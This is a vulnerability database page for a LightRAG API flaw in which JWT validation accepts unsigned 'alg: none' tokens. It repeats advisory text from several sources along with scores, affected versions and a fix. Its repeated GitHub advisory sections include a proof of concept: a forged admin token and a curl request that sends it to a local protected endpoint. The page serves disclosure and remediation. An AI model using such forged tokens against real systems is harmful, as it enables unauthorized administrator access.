CVE-2026-39413
LightRAG has a JWT Algorithm Confusion Vulnerability in LightRAG API
LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.4.14, the LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access. This vulnerability is fixed in 1.4.14.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- High
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
4.2
LightRAG has a JWT Algorithm Confusion Vulnerability in LightRAG API
LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.4.14, the LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access. This vulnerability is fixed in 1.4.14.
- Record
CVE-2026-39413- CVSS 3.1
- 4.2 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-347
- Updated
- 2026-11-02
EUVDEUVD-2026-20601
4.2
LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.4.14, the LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access. This vulnerability is fixed in 1.4.14.
- Record
EUVD-2026-20601- CVSS 3.1
- 4.2 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-8ffj-4hx4-9pgf
4.2
lightrag-hku: JWT Algorithm Confusion Vulnerability
Summary
The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.
Details
In lightrag/api/auth.py at line 128, the validate_token method calls:
payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])
This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.
PoC
An attacker can generate a JWT with the following structure:
{
"header": {
"alg": "none",
"typ": "JWT"
},
"payload": {
"sub": "admin",
"exp": 1700000000,
"role": "admin"
}
}
Then send a request like:
curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint
Impact
An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.
Recommended Fix
Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:
allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)
Or better yet, hardcode the expected algorithm(s):
payload = jwt.decode(token, self.secret, algorithms=['HS256'])
- Record
GHSA-8ffj-4hx4-9pgf- CVSS 3.1
- 4.2 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-347
- Updated
- 2026-11-02
NVD
4.2
LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.4.14, the LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access. This vulnerability is fixed in 1.4.14.
- Record
CVE-2026-39413- CVSS 3.1
- 4.2 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N - CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-347
- Updated
- 2026-11-02
OSV
4.2
LightRAG has a JWT Algorithm Confusion Vulnerability in LightRAG API
LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.4.14, the LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access. This vulnerability is fixed in 1.4.14.
- Record
CVE-2026-39413- CVSS 3.1
- 4.2 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-347
- Updated
- 2026-11-02
OSVGHSA-8ffj-4hx4-9pgf
4.2
lightrag-hku: JWT Algorithm Confusion Vulnerability
Summary
The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.
Details
In lightrag/api/auth.py at line 128, the validate_token method calls:
payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])
This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.
PoC
An attacker can generate a JWT with the following structure:
{
"header": {
"alg": "none",
"typ": "JWT"
},
"payload": {
"sub": "admin",
"exp": 1700000000,
"role": "admin"
}
}
Then send a request like:
curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint
Impact
An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.
Recommended Fix
Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:
allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)
Or better yet, hardcode the expected algorithm(s):
payload = jwt.decode(token, self.secret, algorithms=['HS256'])
- Record
GHSA-8ffj-4hx4-9pgf- CVSS 3.1
- 4.2 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-347
- Updated
- 2026-11-02
OSVPYSEC-2026-2592
4.2
lightrag-hku: JWT Algorithm Confusion Vulnerability
Summary
The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.
Details
In lightrag/api/auth.py at line 128, the validate_token method calls:
payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])
This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.
PoC
An attacker can generate a JWT with the following structure:
{
"header": {
"alg": "none",
"typ": "JWT"
},
"payload": {
"sub": "admin",
"exp": 1700000000,
"role": "admin"
}
}
Then send a request like:
curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint
Impact
An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.
Recommended Fix
Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:
allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)
Or better yet, hardcode the expected algorithm(s):
payload = jwt.decode(token, self.secret, algorithms=['HS256'])
- Record
PYSEC-2026-2592- CVSS 3.1
- 4.2 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
lightrag-hkuPyPI |
through 1.4.13 | 1.4.14 |
lightrag-hkuPyPI |
before 1.4.14, plus listed versions 0.0.20.0.30.0.40.0.50.0.6 Show 45 moreShow less0.0.70.0.80.0.91.0.01.0.11.0.31.0.51.0.61.0.81.0.91.1.01.1.11.1.21.1.31.1.41.1.51.1.61.1.71.2.11.2.21.2.31.2.51.2.61.3.01.3.11.3.21.3.31.3.41.3.51.3.61.3.71.3.81.3.91.4.01.4.11.4.101.4.111.4.11rc21.4.121.4.12rc11.4.131.4.13rc11.4.21.4.31.4.4 |
1.4.14 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-39413 is a medium vulnerability (CVSS 4.2) in Hkuds Lightrag, published April 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.18%, the 7th percentile. Fixed in lightrag-hku 1.4.14.
References
github.com/HKUDS/LightRAG/security/advisories/GHSA-8ffj-4hx4-9pgf
github.com/github/advisory-database/issues/7373
github.com/HKUDS/LightRAG/commit/728f2e54509d93e0a44f929c7f83f2c88d6d291b
nvd.nist.gov/vuln/detail/CVE-2026-39413
github.com/advisories/GHSA-8ffj-4hx4-9pgf
github.com/CVEProject/cvelistV5/tree/main/cves/2026/39xxx/CVE-2026-39413.json
github.com/HKUDS/LightRAG
pypi.org/project/lightrag-hku
Left out here: 27 versions. The JSON record has them.